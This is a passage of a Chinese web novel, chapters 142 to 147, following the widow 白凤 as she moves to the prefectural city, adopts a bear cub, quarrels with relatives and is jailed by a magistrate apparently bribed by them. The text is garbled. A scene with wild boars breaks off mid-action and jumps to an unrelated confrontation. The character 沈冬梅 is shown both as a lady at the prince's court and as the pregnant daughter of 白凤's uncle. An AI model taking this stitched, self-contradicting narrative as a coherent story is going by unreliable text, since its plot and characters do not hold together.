刚走出药铺,突然有人撞了她一下。 白凤一个踉跄,等站稳了,发现怀里的钱袋不见了。 “站住!”白凤大喊。 那人跑得飞快,眨眼就钻进了人群。 白凤追了几步,豆豆在后面哭:“娘!” 她只好停下,回头抱起豆豆。 “别哭。”白凤拍拍他的背,“没事。” 乐乐突然叫了一声,冲进人群。 来财和福球也跟着跑了。 白凤愣了下,抱着豆豆追过去。 拐过两条街,白凤看见乐乐咬着一个人的裤腿,来财和福球一左一右堵着,那人想跑都跑不了。 “放开!放开!”那人拼命踢腿。 白凤走过去,从他怀里掏出钱袋,数了数,一文不少。 “多谢了。”白凤冲三只狗笑了笑。 那人见钱被拿回去,转身就想跑,却被一只手按住了肩膀。 白凤抬头,看见一个黑甲侍卫站在那人身后。 “白姑娘。”黑甲侍卫说,“王爷让我保护你。” 白凤皱眉:“我不需要。” “这是王爷的命令。”黑甲侍卫说完,把那人扔给了旁边的衙役,“这人偷东西,抓去衙门。” 衙役看了看黑甲侍卫的腰牌,立刻点头:“是,是。” 白凤看着黑甲侍卫:“你一直跟着我?” “是。”黑甲侍卫说,“王爷担心你的安全。” “我说了,我不需要。”白凤抱着豆豆转身就走。 黑甲侍卫跟在她后面,不远不近。 白凤走了几步,停下:“你别跟着我。” “这是王爷的命令。”黑甲侍卫重复道。 白凤气得想骂人,但看着豆豆,还是忍住了。 她带着豆豆和三只狗,在郡城里转了一圈,买了些米面和布料,又去看了几处房子。 郡城的房子比镇上贵多了,但白凤还是咬牙买了一处小院。 院子不大,两间房,一个小厨房,还有个小院子,正好够她和豆豆住。 付了定金,白凤带着豆豆回镇上收拾东西。 舅妈听说她买了房子,脸色复杂:“你真要搬走?” “嗯。”白凤说,“明天就搬。” 舅妈张了张嘴,最后什么都没说。 晚上,白凤收拾东西,豆豆在旁边帮忙。 “娘。”豆豆突然问,“咱们以后就住郡城了?” “对。”白凤说,“那里比镇上好。” “那乐乐它们呢?”豆豆问。 “当然一起去。”白凤摸摸他的头,“咱们一家人,谁都不能少。” 豆豆笑了:“好!” 第142章 看着还挺舒服 第二天,白凤雇了辆牛车,把东西都搬到郡城。 新家虽然小,但收拾干净后,看着还挺舒服。 白凤把豆豆安顿好,又去了趟山上。 这次她打算往更深的地方走,听说磨房沟那边有黑熊,熊胆可是好东西,能卖大价钱。 白凤带着三只狗,往磨房沟走去。 走了大半天,终于到了磨房沟。 这里人迹罕至,树木茂密,白凤小心翼翼地往前走。 突然,乐乐停下了,冲着前方低吼。 白凤顺着它的视线看去,看见一个山洞。 洞口有些骨头,还有些新鲜的血迹。 白凤心里一紧,这是熊窝。 她正要退后,突然听见身后传来惨叫。 回头一看,赤脚郎中不知道什么时候跟了过来,正被一只黑熊按在地上。 “救命!救命!”赤脚郎中拼命挣扎。 黑熊张开大嘴,咬住了他的脖子。 白凤脸色发白,拉着三只狗往后退。 赤脚郎中的惨叫声越来越弱,最后彻底没了声音。 黑熊叼着他的尸体,往山洞里走去。 白凤躲在树后,大气都不敢出。 等黑熊进了洞,她才松了口气。 “走。”白凤小声说。 三只狗跟着她,悄悄往回走。 走了几步,白凤突然停下。 她想起刚才看见的山洞,里面好像还有小熊。 白凤咬了咬牙,又折了回去。 她趴在洞口往里看,果然看见两只小熊崽在里面玩耍。 大黑熊正在吃赤脚郎中的尸体,没注意到洞口。 白凤屏住呼吸,慢慢伸手进去,抓住了一只小熊崽。 小熊崽叫了一声,大黑熊立刻回头。 白凤抱着小熊崽撒腿就跑。 大黑熊怒吼一声,追了出来。 白凤跑得飞快,三只狗跟在她身边,不停地冲黑熊叫。 黑熊追了一段路,最后还是放弃了,回到山洞。 白凤跑到安全的地方,才停下喘气。 怀里的小熊崽还在挣扎,白凤按住它:“别动,我不会伤害你。” 小熊崽看着她,眼睛里满是恐惧。 白凤叹了口气,把它放进背篓里,带回了家。 回到家,白凤把小熊崽放在院子里。 豆豆看见了,高兴得跳起来:“娘,这是什么?” “小熊。”白凤说,“以后它就是咱们家的一员了。” “它叫什么名字?”豆豆问。 白凤想了想:“就叫黑宝吧。” 黑宝刚到新环境,有些不安,缩在角落里不肯动。 乐乐走过去,用鼻子蹭了蹭它。 黑宝抬头看了看乐乐,慢慢放松下来。 白凤松了口气,看来这几只能相处得来。 接下来几天,白凤忙着照顾黑宝。 小熊崽胃口很大,一天要吃好几顿,白凤每天都要去山上找食物。 豆豆也很喜欢黑宝,天天跟它玩。 黑宝渐渐习惯了新家,开始在院子里跑来跑去。 有一天,白凤正在院子里晾药材,突然听见外面传来吵闹声。 她走出去一看,王婆子带着几个人站在门口。 “白凤!”王婆子指着她,“你养这些东西,是想害死我们吗!” 白凤皱眉:“你说什么?” “我家小孙子昨天路过你家,被你那只熊咬了!”王婆子说,“你看看,伤口这么大!” 她拉过一个小孩,小孩手臂上确实有几道抓痕。 白凤看了看:“这不是咬的,是抓的。” “抓的也是伤!”王婆子说,“你必须赔钱!” “凭什么?”白凤说,“你家孩子自己爬墙进我家院子,被抓了怪谁?” “你!”王婆子气得脸都红了,“你还有理了!” “我本来就有理。”白凤说,“你家孩子偷东西,被抓了活该。” “你胡说!”王婆子尖声道,“我家孩子才不偷东西!” “那他进我家院子干什么?”白凤问。 王婆子噎住了。 旁边有人小声说:“我看见了,那孩子确实是爬墙进去的。” 王婆子脸色一变,转头瞪了那人一眼。 “不管怎么说。”王婆子说,“你养这些东西,就是危险!万一伤了人怎么办?” “我家的东西,关你什么事?”白凤说。 “怎么不关我的事!”王婆子说,“你住在镇上,就得遵守镇上的规矩!” “什么规矩?”白凤问。 “不能养危险的东西!”王婆子说,“你必须把那只熊送走!” “不送。”白凤说。 “你!”王婆子气得直跺脚,“好,你不送是吧,我去找里正!” 说完,她带着人走了。 白凤回到院子,豆豆跑过来:“娘,怎么办?” “没事。”白凤说,“她爱找谁找谁。” 但她心里清楚,王婆子这次是铁了心要找麻烦。 果然,没过多久,里正就来了。 里正是个五十多岁的老头,平时挺和气,但这次脸色很严肃。 “白凤。”里正说,“你养熊的事,我听说了。” “嗯。”白凤点头。 “这事不太好办啊。”里正叹了口气,“镇上的人都在议论,说你养这么危险的东西,万一伤了人怎么办。” “我会看好它的。”白凤说。 “话是这么说。”里正说,“但万一真出了事,你担得起责任吗?” 白凤沉默了。 里正看着她:“白凤,我知道你不容易,但这事确实不妥。要不你把熊送走,大家都省心。” “不行。”白凤说,“黑宝是我家的一员,我不会送走它。” 里正皱眉:“你这孩子,怎么这么倔?” “我不是倔。”白凤说,“我只是不想让人欺负。” 里正叹了口气,正要说话,突然听见外面传来声音。 “爹!” 白凤抬头,看见舅舅走了进来。 舅舅风尘仆仆,显然是刚从外地回来。 “你回来了?”里正说。 “嗯。”舅舅点头,看了看白凤,“我听说了,白凤养熊的事。” “你来得正好。”里正说,“你劝劝她,让她把熊送走。” 舅舅沉默了一会儿,说:“我觉得不用送。” 里正一愣:“什么?” “白凤养的是小熊崽,又不是成年熊。”舅舅说,“只要看好了,不会有危险。” “可是……”里正还想说什么。 “而且。”舅舅打断他,“王婆子家的孩子是自己爬墙进去的,被抓了怪不得别人。” 里正张了张嘴,最后叹了口气:“行吧,既然你这么说,那就算了。” 他转身走了。 第143章 心里五味杂陈 白凤看着舅舅,有些意外。 舅舅看了她一眼:“我知道你恨我们家,但你爹临终前托付我照顾你,我不能不管。” 白凤沉默了。 “不过。”舅舅接着说,“你养这些东西,确实要小心点,别真出了事。” “我知道。”白凤说。 舅舅点点头,转身离开。 白凤站在院子里,心里五味杂陈。 舅舅虽然平时不怎么管她,但关键时刻还是站出来了。 豆豆跑过来,拉着她的手:“娘,舅爷爷是好人。” 白凤摸摸他的头:“嗯。” 接下来几天,镇上的人对白凤的态度有所改变。 虽然还是有人议论,但至少没人再明着找麻烦了。 白凤继续上山采药,每次都能找到不少好东西。 有一天,她在山上遇到了一个陌生人。 那人穿着华贵,看起来像是城里来的。 “姑娘。”那人走过来,“听说你能找到珍贵的药材?” 白凤警惕地看着他:“你是谁?” “我姓李。”那人说,“是郡城药铺的东家。” 白凤想起来了,她常去的那家药铺,掌柜的确实姓李。 “你找我有事?”白凤问。 “是这样的。”李东家说,“我听掌柜说,你每次带来的药材都很好,我想跟你谈个生意。” “什么生意?”白凤问。 “我想长期收购你的药材。”李东家说,“只要是珍贵的,我都要,价钱好商量。” 白凤想了想:“只要药材?” “不只。”李东家说,“如果你能找到其他珍贵的东西,比如熊胆、鹿茸之类的,我也收。” 白凤眼睛一亮。 这正是她想要的。 “行。”白凤说,“不过我有个条件。” “什么条件?”李东家问。 “我找到什么,你就收什么,不能挑三拣四。”白凤说。 李东家笑了:“成交。” 两人约定好,以后白凤找到好东西,就直接送到药铺去。 白凤回到家,心里盘算着。 有了李东家这个稳定的买家,她以后就不用担心东西卖不出去了。 而且李东家出手阔绰,只要她能找到好东西,就不愁赚不到钱。 白凤打定主意,以后要多往山里跑,找更多珍贵的东西。 京城,徽臻王府。 尉迟深坐在书房里,听着黑甲侍卫的禀报。 “王爷,白姑娘还是不愿意回来。”黑甲侍卫说,“而且她已经在郡城买了房子,看样子是打定主意不回来了。” 尉迟深沉默了。 他没想到,白凤会这么决绝。 “王爷。”黑甲侍卫犹豫了下,“要不要强行把她带回来?” “不用。”尉迟深说,“她不愿意,强行带回来也没用。” 黑甲侍卫点头:“那属下继续暗中保护她?” “嗯。”尉迟深说,“别让她出事。” 黑甲侍卫退下了。 尉迟深坐在那里,脑子里全是白凤的样子。 那个倔强的女人,宁愿一个人带着孩子吃苦,也不愿意回到他身边。 尉迟深叹了口气。 这时,外面传来脚步声。 “王爷。”管家走进来,“沈家小姐来了。” 尉迟深皱眉:“让她回去。” “可是……”管家为难地说,“沈小姐说有要事禀报。” 尉迟深想了想:“让她进来。” 不一会儿,沈冬梅走了进来。 她穿着一身淡粉色的衣裙,打扮得很精致。 “王爷。”沈冬梅行了个礼,“冬梅有事禀报。” “说。”尉迟深说。 “是关于白凤的。”沈冬梅说,“我听说,她在镇上养了一只熊,还伤了人。” 尉迟深抬头看着她:“然后呢?” “这种人品行不端,怎么配做王爷的……”沈冬梅说到一半,突然停住了。 尉迟深冷冷地看着她:“配不配,不是你说了算。” 沈冬梅脸色一白:“王爷,我不是这个意思……” “出去。”尉迟深说。 沈冬梅咬了咬唇,转身离开。 走出王府,她脸上的温柔彻底消失了,取而代之的是满脸怨恨。 “白凤!”沈冬梅咬牙切齿,“都是你!” 她本来以为,只要白凤不在京城,王爷就会注意到她。 但没想到,王爷心里还是只有白凤。 沈冬梅越想越气,决定要想办法除掉白凤。 另一边,白凤正在山上采药。 自从跟李东家谈好生意后,她每天都往山里跑,找各种珍贵的东西。 这天,她在山里转了一圈,找到了几株灵芝。 正要挖,突然听见身后传来声音。 “白姑娘。” 白凤回头,看见一个陌生男人站在那里。 那人三十来岁,长得还算周正,但眼神有些闪烁。 “你是谁?”白凤警惕地问。 “我姓张。”那人说,“是李东家的朋友。” 白凤皱眉:“李东家的朋友?他怎么没跟我说过?” “是这样的。”张某说,“李东家跟我说,你能找到很多珍贵的东西,我想跟你合作。” “合作?”白凤问。 “对。”张某说,“我在京城有些门路,能把东西卖出更高的价钱。” 白凤想了想:“我跟李东家已经有约定了。” “我知道。”张某说,“但李东家只是个药铺东家,能出的价钱有限。我不一样,我认识很多达官贵人,他们愿意出大价钱买好东西。” 白凤心动了。 她现在确实需要钱,如果能卖出更高的价钱,当然更好。 “你想要什么?”白凤问。 “什么都要。”张某说,“药材、熊胆、鹿茸,只要是珍贵的,我都收。” “价钱呢?”白凤问。 “比李东家高三成。”张某说。 白凤想了想:“我考虑考虑。” “好。”张某说,“我在镇上的客栈住着,你想好了随时来找我。” 说完,他转身离开。 白凤看着他的背影,总觉得哪里不对劲。 但她又说不上来。 回到家,白凤把这事跟豆豆说了。 豆豆听完,皱着小脸说:“娘,我觉得那个人不是好人。” “为什么?”白凤问。 “他的眼睛不好看。”豆豆说,“坏人的眼睛都不好看。” 白凤笑了:“你这孩子,哪来这么多道理。” 但她心里还是有些警惕。 第二天,白凤去了趟郡城,找到李东家。 “李东家。”白凤说,“我想问你个事。” “什么事?”李东家问。 “你认识一个姓张的人吗?”白凤说,“他说是你的朋友。” 李东家想了想:“姓张的?我认识好几个姓张的,你说的是哪个?” 白凤把张某的样子描述了一遍。 李东家摇头:“没印象,我不认识这个人。” 白凤心里一沉。 第144章 去我家 果然有问题。 “怎么了?”李东家问,“他找你干什么?” “他说想跟我合作。”白凤说,“出的价钱比你高三成。” 李东家脸色一变:“白姑娘,你可别上当。” “什么意思?”白凤问。 “最近京城那边有些人,专门骗山里人的东西。”李东家说,“他们先出高价收东西,等东西到手了,就翻脸不认账。” 白凤皱眉:“还有这种事?” “可不是。”李东家说,“前段时间就有个猎户被骗了,损失了好几百两银子。” 白凤心里一阵后怕。 幸好她没答应。 “多谢李东家提醒。”白凤说。 “不客气。”李东家说,“咱们是长期合作,我不能看着你被骗。” 白凤点点头,转身离开。 回到镇上,白凤去了趟客栈,想看看那个张某还在不在。 结果客栈掌柜说,张某昨天就退房走了。 白凤松了口气。 看来那人知道骗不了她,就走了。 接下来几天,白凤继续上山采药。 黑宝长得很快,现在已经有半人高了。 白凤每天都带它上山,让它熟悉环境。 黑宝很聪明,学东西很快,没多久就能听懂白凤的指令了。 有一天,白凤在山上遇到了一群野猪。 野猪看见她,立刻冲了过来。 白凤吓了一跳,正要跑,黑宝突然冲了出去。 它虽然还小,但气势很足,冲着野猪吼了一声。 白凤靠在门板上,听着外面的脚步声渐渐远去,心里却没有半点轻松。 豆豆从屋里跑出来,小脸上满是担忧:“娘,那个黑叔叔又来了?” “没事。”白凤蹲下身,摸了摸儿子的头,“娘不会让任何人把你带走的。” 乐乐从院子里跑过来,用脑袋蹭着白凤的腿,呜呜地叫着。来财也从屋檐上跳下来,落在白凤肩头,尾巴一甩一甩的。福球从豆豆怀里探出头,小眼睛滴溜溜地转。 “都别担心。”白凤站起身,拍了拍衣服上的灰,“天塌不下来。” 话虽这么说,她心里却盘算着该怎么办。徽臻王那边不会善罢甘休,她得想个万全之策。 第二天一早,白凤正在院子里喂鸡,就听见外面传来一阵吵闹声。 “白凤!你给我出来!” 这声音白凤太熟悉了,是沈冬梅。 她皱了皱眉,放下手里的米盆,走到院门口。门外站着沈冬梅和她舅舅童大山,沈冬梅挺着个肚子,脸色却不太好看。 “有事?”白凤冷着脸问。 “你还好意思问有什么事!”沈冬梅指着白凤的鼻子,“你看看你现在过的什么日子!告了我娘,还让全镇的人都知道了!你就这么见不得我们好?” 白凤冷笑一声:“是你娘先欺负我的,我不过是讨回公道。” “讨回公道?”沈冬梅气得脸都红了,“你现在倒是威风了,可你想过没有,我们一家人的脸都被你丢尽了!” 童大山咳嗽了一声,拉了拉沈冬梅的袖子:“冬梅,别激动,你现在有身子呢。” 他转向白凤,脸上挤出一个笑容:“白凤啊,你舅母那边确实做得不对,舅舅替她向你赔罪。你看,这事能不能就这么算了?” “算了?”白凤挑了挑眉,“舅舅,你当初可不是这么说的。” 童大山脸上的笑容僵了僵:“那时候是舅舅糊涂,现在想明白了。你看,咱们都是一家人,何必闹得这么僵?” “一家人?”白凤冷笑,“当初我娘刚走的时候,你们可没把我当一家人。” 沈冬梅听不下去了:“白凤,你别给脸不要脸!我爹都亲自来给你赔罪了,你还想怎么样?” “我不想怎么样。”白凤淡淡地说,“只是希望你们以后别来烦我。” “你!”沈冬梅气得直跺脚,肚子突然一阵疼痛,她捂着肚子,脸色发白。 童大山吓了一跳:“冬梅!你怎么了?” “肚子疼……”沈冬梅咬着牙说。 白凤看了一眼,转身进了院子。 “白凤!你就这么看着不管?”童大山在后面喊。 白凤头也不回:“我又不是大夫。” 说完,她砰地一声关上了院门。 院子里,豆豆正蹲在地上逗福球玩。看见白凤进来,他抬起头:“娘,外面是谁啊?” “没什么人。”白凤说,“豆豆,去把鸡喂了。” “好!”豆豆蹦蹦跳跳地跑去拿米盆。 白凤站在院子里,看着儿子的背影,心里却有些不安。沈冬梅怀着孩子,童大山肯定不会善罢甘休。 果然,没过两天,镇上就传出了风言风语。 “听说白凤把她表妹气得差点流产。” “可不是嘛,人家都上门赔罪了,她还不依不饶的。” “这女人心肠真狠。” 白凤听到这些话,只是冷笑。她早就料到童家会这么做,不过是想用舆论逼她就范罢了。 可她不在乎。 这天下午,白凤正在院子里晒药材,徐禄生急匆匆地跑了进来。 “白姑娘!不好了!” 白凤抬起头:“怎么了?” “童家那边出事了!”徐禄生喘着气说,“沈冬梅的肚子疼得厉害,童大山请了大夫去看,说是动了胎气。” 白凤皱了皱眉:“然后呢?” “然后童大山就到处说,是你把沈冬梅气成这样的。”徐禄生说,“现在镇上的人都在议论这事。” 白凤冷笑一声:“他们爱怎么说就怎么说。” “可是……”徐禄生有些担心,“万一沈冬梅真出了什么事,童家肯定会找你麻烦的。” “那也是她自己作的。”白凤说,“我又没碰她。” 话虽这么说,白凤心里却有些烦躁。童家这是摆明了要赖上她。 晚上,白凤正准备睡觉,院门又被敲响了。 她打开门,门外站着的是童大山和几个镇上的长辈。 “白凤,你跟我们走一趟。”童大山沉着脸说。 “去哪?”白凤问。 “去我家。”童大山说,“冬梅想见你。” 白凤冷笑:“我不去。” “你必须去!”童大山提高了声音,“冬梅现在躺在床上,生死未卜,都是因为你!你要是不去,我就去县衙告你!” “告我?”白凤挑了挑眉,“告我什么?” “告你故意气死人!”童大山说。 白凤笑了:“舅舅,你这话说得可真好笑。我什么时候气她了?是她自己上门来找茬的。” “你还狡辩!”童大山气得脸都红了,“你要是不去,我就……” “你就怎么样?”白凤冷冷地看着他,“你想强行把我带走?” 几个长辈见气氛不对,连忙劝道:“白凤啊,你就去看看吧,毕竟是一家人。” 第145章 那时候是我们不对 “一家人?”白凤冷笑,“当初我娘刚走的时候,你们怎么不说是一家人?” “那时候是我们不对。”一个长辈说,“可现在冬梅有了身子,你就当可怜可怜她,去看看吧。” 白凤沉默了一会儿,最后还是点了点头:“好,我去。” 她转身进屋,对豆豆说:“豆豆,娘出去一趟,你在家乖乖的,别乱跑。” “娘,你去哪?”豆豆抓着她的衣角。 “去你姨家。”白凤说,“很快就回来。” “那我也要去!”豆豆说。 “不行。”白凤摇头,“你在家等娘。” 豆豆撅着嘴,不太高兴,但还是点了点头。 白凤跟着童大山一行人来到童家。 童家的院子里点着灯笼,屋里传来沈冬梅的呻吟声。 童大山推开门,对白凤说:“进去吧。” 白凤走进屋,看见沈冬梅躺在床上,脸色苍白,额头上满是汗珠。 “白凤……”沈冬梅虚弱地叫了一声。 白凤走到床边,冷冷地看着她:“你找我有什么事?” 沈冬梅咬着牙,眼里闪过一丝怨毒:“你害得我好苦……” “我害你?”白凤冷笑,“是你自己上门来找茬的,怎么能怪我?” “你……”沈冬梅气得说不出话来。 这时,童氏从外面走了进来,看见白凤,脸色立刻沉了下来:“你还敢来!” “是你们让我来的。”白凤说。 “你这个扫把星!”童氏指着白凤,“要不是你,冬梅怎么会变成这样!” 白凤懒得跟她争辩,转身就要走。 “站住!”童氏拦住她,“你今天要是不给冬梅赔罪,就别想走!” “赔罪?”白凤冷笑,“我凭什么给她赔罪?” “就凭你把她气成这样!”童氏说。 白凤看着童氏,眼里满是讽刺:“舅母,你这话说得可真好笑。沈冬梅是自己上门来找茬的,我不过是据理力争,怎么就成了我的错?” “你还敢狡辩!”童氏气得浑身发抖。 这时,沈冬梅突然从床上坐了起来,指着白凤说:“白凤,你别以为我不知道你在想什么!你就是嫉妒我过得比你好!” 白凤挑了挑眉:“嫉妒你?你哪来的自信?” “我嫁了个好夫婿,现在又有了身子,你呢?”沈冬梅冷笑,“你一个寡妇,带着个拖油瓶,还养着一群畜生,你有什么资格跟我比?” 白凤听到这话,脸色冷了下来:“沈冬梅,你说话最好注意点。” “我说错了吗?”沈冬梅得意地笑,“你现在不过是靠着那些畜生赚点小钱,有什么好得意的?” 白凤深吸了一口气,压下心里的怒火:“你们找我来,就是为了说这些?” “不是。”童大山走了进来,“白凤,你看冬梅现在这样,都是因为你。你要是有点良心,就该给她赔罪。” “我没有错,为什么要赔罪?”白凤说。 “你还嘴硬!”童氏说,“行,你不赔罪是吧?那我们就去县衙告你!” “随便。”白凤转身就走。 “站住!”童大山拦住她,“你今天要是不赔罪,就别想走!” 白凤冷冷地看着他:“舅舅,你这是要强留我?” “我这是为了你好。”童大山说,“你要是不赔罪,这事传出去,对你名声不好。” “我的名声,不劳你操心。”白凤说完,推开童大山,大步走出了院子。 身后传来童氏的咒骂声,白凤充耳不闻。 回到家,豆豆已经睡着了。白凤坐在床边,看着儿子熟睡的脸,心里却乱成一团。 童家这次摆明了要赖上她,她得想个办法。 第二天一早,白凤正在院子里喂鸡,乐乐突然冲到门口,冲着外面狂吠。 白凤走过去,看见门外站着一个陌生男人。 “你是谁?”白凤问。 “在下是县衙的师爷。”男人笑着说,“白姑娘,县太爷有请。” 白凤心里一沉:“县太爷找我有什么事?” “这个……”师爷笑得有些勉强,“去了就知道了。” 白凤看着他,心里隐隐有种不好的预感。 “我现在不方便。”白凤说,“改天再去吧。” “这恐怕不行。”师爷脸上的笑容消失了,“县太爷说了,必须今天去。” 白凤沉默了一会儿,最后还是点了点头:“好,我去。” 她转身进屋,对豆豆说:“豆豆,娘要出去一趟,你在家乖乖的。” “娘,你又要去哪?”豆豆抓着她的手。 “去县衙。”白凤说,“很快就回来。” 豆豆眼里满是担忧:“娘,你会不会有危险?” “不会。”白凤摸了摸他的头,“娘答应你,一定会平安回来。” 她跟着师爷来到县衙。 县太爷坐在堂上,看见白凤进来,脸上露出一个笑容:“白姑娘,本官找你来,是有件事要问你。” “大人请说。”白凤说。 “听说你和童家有些矛盾?”县太爷问。 白凤心里一紧,但脸上不动声色:“是有些误会。” “误会?”县太爷冷笑一声,“本官听说,你把童家的女儿气得差点流产,这也叫误会?” “大人,事情不是这样的。”白凤说,“是沈冬梅先上门找茬,我不过是据理力争。” “据理力争?”县太爷拍了拍惊堂木,“你一个妇道人家,跟长辈顶嘴,还害得人家差点流产,这就是你的据理力争?” 白凤脸色沉了下来:“大人,我没有害她。” “你还狡辩!”县太爷怒道,“来人,把白凤拿下!” 两个衙役立刻冲了上来,抓住白凤的胳膊。 “大人!我没有犯罪!”白凤挣扎着。 “你害人在先,还敢说没犯罪?”县太爷冷笑,“把她关进大牢,等本官查清楚再说!” 白凤被押进了大牢。 牢房里阴暗潮湿,白凤坐在角落里,心里却在盘算着该怎么办。 县太爷这次摆明了是要帮童家,她得想个办法脱身。 这时,牢房外传来一阵脚步声。 白凤抬起头,看见师爷站在牢门外,脸上带着笑容。 “白姑娘,你现在后悔了吧?”师爷说。 白凤冷冷地看着他:“你想说什么?” “我想说,你要是早点给童家赔罪,也不会落到今天这个地步。”师爷说。 白凤冷笑:“你是童家的人?” “这你就不用管了。”师爷说,“我今天来,是想给你一个机会。” “什么机会?”白凤问。 “只要你答应给童家赔罪,再赔偿一些银子,我就让县太爷放了你。”师爷说。 第146章 你就在这里好好待着吧 白凤看着他,眼里满是讽刺:“你们这是敲诈。” “敲诈?”师爷笑了,“白姑娘,你现在可是阶下囚,还有资格跟我讲条件?” 白凤沉默了一会儿,最后摇了摇头:“我不会答应的。” “你确定?”师爷脸色沉了下来。 “确定。”白凤说。 师爷冷笑一声:“那你就在这里好好待着吧。” 说完,他转身离开了。 白凤坐在牢房里,心里却在想着豆豆。 儿子现在一个人在家,不知道会不会害怕。 还有乐乐、来财、福球,它们现在怎么样了? 就在这时,牢房外又传来一阵脚步声。 白凤抬起头,看见几个衙役走了进来。 “白凤,县太爷有令,把你养的那些畜生都抓起来!”一个衙役说。 白凤脸色大变:“你们敢!” “有什么不敢的?”衙役冷笑,“县太爷说了,你养的那些畜生都是祸害,必须全部处理掉!” “不行!”白凤冲到牢门前,抓着栏杆,“你们不能动它们!” “由不得你!”衙役说完,转身离开了。 白凤瘫坐在地上,心里满是绝望。 她不怕自己受苦,但她不能让豆豆和那些动物受伤害。 她得想个办法。 白凤在牢里待了一夜,脑子里翻来覆去想的都是豆豆和那些动物。 天刚蒙蒙亮,牢房外就传来一阵嘈杂的声音。 “把那些畜生都关起来!” “这狗咬人!快拿棍子!” “那只猫跑了,快追!” 白凤听到这些声音,心都揪了起来。她冲到牢门前,用力拍打着栏杆:“你们住手!不许伤害它们!” 一个衙役走过来,冷笑着说:“白凤,你现在自身难保,还管得了那些畜生?” “它们不是畜生!”白凤眼睛都红了,“它们是我的家人!” “家人?”衙役哈哈大笑,“一群畜生也配叫家人?你这女人真是疯了!” 白凤咬着牙,恨不得冲出去。可牢门紧锁,她什么都做不了。 没过多久,几个衙役押着乐乐、来财和福球走了过来。 乐乐被绳子套着脖子,拼命挣扎,嘴里发出呜呜的叫声。来财被关在笼子里,不停地用爪子抓着笼子。福球缩成一团,浑身发抖。 “乐乐!来财!福球!”白凤喊着它们的名字,眼泪止不住地往下流。 乐乐听到白凤的声音,挣扎得更厉害了。它冲着白凤狂吠,眼里满是焦急。 “别叫了!”一个衙役用棍子敲了敲笼子,“再叫就打死你!” 白凤看着这一幕,心都碎了。 “你们不能这样对它们!”白凤哭着说,“它们什么都没做错!” “没做错?”师爷不知什么时候走了过来,脸上带着得意的笑容,“白姑娘,你养的这些畜生,扰民在先,现在县太爷要处理它们,也是为民除害。” “为民除害?”白凤冷笑,“你们这是公报私仇!” “公报私仇?”师爷笑了,“白姑娘,你可别乱说话。县太爷做事,向来公正。” “公正?”白凤看着他,“你收了童家多少好处?” 师爷脸色变了变,但很快又恢复了笑容:“白姑娘,你这话可就冤枉人了。” “冤枉?”白凤冷笑,“你敢说你没收童家的钱?” 师爷不说话了,只是冷冷地看着她。 “把这些畜生都关起来。”师爷对衙役说,“等县太爷发落。” 衙役们押着乐乐它们走了。 白凤瘫坐在地上,眼泪止不住地往下流。 她不怕自己受苦,但她不能看着豆豆和那些动物受伤害。 就在这时,牢房外传来一个稚嫩的声音:“娘!娘!” 白凤猛地抬起头,看见豆豆站在牢门外,小脸上满是泪痕。 “豆豆!”白凤冲到牢门前,“你怎么来了?” “我来救娘!”豆豆哭着说,“娘,你别怕,豆豆会救你的!” 白凤心里又疼又暖:“豆豆乖,你快回家,这里危险。” “我不走!”豆豆摇着头,“我要陪着娘!” 这时,一个衙役走了过来,一把抓住豆豆的胳膊:“小兔崽子,谁让你进来的?” “放开我!”豆豆挣扎着。 “放开他!”白凤拍着牢门,“他还是个孩子!” 衙役不理她,拖着豆豆就要往外走。 豆豆拼命挣扎,突然张嘴咬了衙役一口。 “啊!”衙役吃痛,松开了手。 豆豆趁机跑到牢门前,抓着栏杆:“娘,豆豆不走!” 衙役气得脸都红了,抬起手就要打豆豆。 “住手!”一个威严的声音从外面传来。 众人转头,看见一个身穿铠甲的男人走了进来。 男人三十来岁,身材高大,眉眼间带着凌厉的气势。 “你是谁?”衙役问。 “我是军中百夫长手下的人。”男人说,“听说这里关了一个叫白凤的女人?” 白凤愣了愣,她不认识这个人。 “是又怎么样?”衙役说。 “我家百夫长有话要说。”男人说,“白姑娘救过我家夫人的命,我家百夫长特地让我来看看。” 衙役脸色变了变:“这……这是县太爷的命令,我们也没办法。” “县太爷的命令?”男人冷笑,“我倒要问问,县太爷凭什么关押救命恩人?” “这……”衙役支支吾吾说不出话来。 这时,师爷走了过来,脸上堆着笑:“这位军爷,您误会了。白姑娘是因为害人在先,县太爷才把她关起来的。” “害人?”男人挑了挑眉,“害了谁?” “害了童家的女儿。”师爷说,“童家的女儿怀着身子,被白姑娘气得差点流产。” “就这?”男人冷笑,“一句话就能把人关起来?你们县衙的规矩还真是大。” 师爷脸色有些难看:“军爷,这是我们县里的事,您就别管了。” “我偏要管。”男人说,“白姑娘救过我家夫人的命,我不能看着她受委屈。” 师爷脸色更难看了:“军爷,您这是要跟县太爷作对?” “作对?”男人笑了,“我只是想讨个公道。” 师爷咬了咬牙,转身走了。 男人走到牢门前,对白凤说:“白姑娘,您别担心,我家百夫长很快就会来。” 白凤看着他,心里有些疑惑:“你家百夫长是谁?” “您救过他夫人的命,他一直想报答您。”男人说,“这次听说您出事了,他立刻就赶过来了。” 白凤想了想,突然想起来了。 前些日子,她在镇上遇到一个病重的妇人,那妇人得了急症,镇上的大夫都束手无策。白凤看不过去,就用自己采的药给她治好了。 第147章 我没有污蔑! 原来那妇人是百夫长的夫人。 “多谢。”白凤说。 “您别客气。”男人说,“我家百夫长说了,您的事就是他的事。” 没过多久,县衙外传来一阵马蹄声。 一个身穿铠甲的男人走了进来,身后跟着十几个士兵。 男人三十多岁,脸上有一道疤痕,看起来很凶悍。 “百夫长!”那个男人连忙迎了上去。 百夫长点了点头,走到牢门前,对白凤说:“白姑娘,让您受委屈了。” “您是……”白凤有些不确定。 “我是李铁。”百夫长说,“您救过我夫人的命,我一直想报答您。” 白凤摇了摇头:“举手之劳,不必放在心上。” “对您来说是举手之劳,对我来说却是救命之恩。”李铁说,“您放心,这事我会处理的。” 他转身对衙役说:“去把县太爷叫来。” 衙役面面相觑,不敢动。 “怎么,我的话不管用?”李铁冷冷地说。 衙役吓得连忙跑去叫县太爷。 没过多久,县太爷匆匆赶来,看见李铁,脸上立刻堆起笑容:“李百夫长,您怎么来了?” “我来讨个公道。”李铁说。 “公道?”县太爷笑了,“不知李百夫长要讨什么公道?” “白姑娘救过我夫人的命,是我的恩人。”李铁说,“你凭什么把她关起来?” 县太爷脸色变了变:“这……这是因为白姑娘害人在先,本官才……” “害人?”李铁冷笑,“害了谁?” “害了童家的女儿。”县太爷说。 “童家?”李铁挑了挑眉,“童家给了你多少好处?” 县太爷脸色大变:“李百夫长,您这话是什么意思?” “什么意思你自己清楚。”李铁说,“我今天把话放在这里,白姑娘是我的恩人,谁敢动她,就是跟我过不去。” 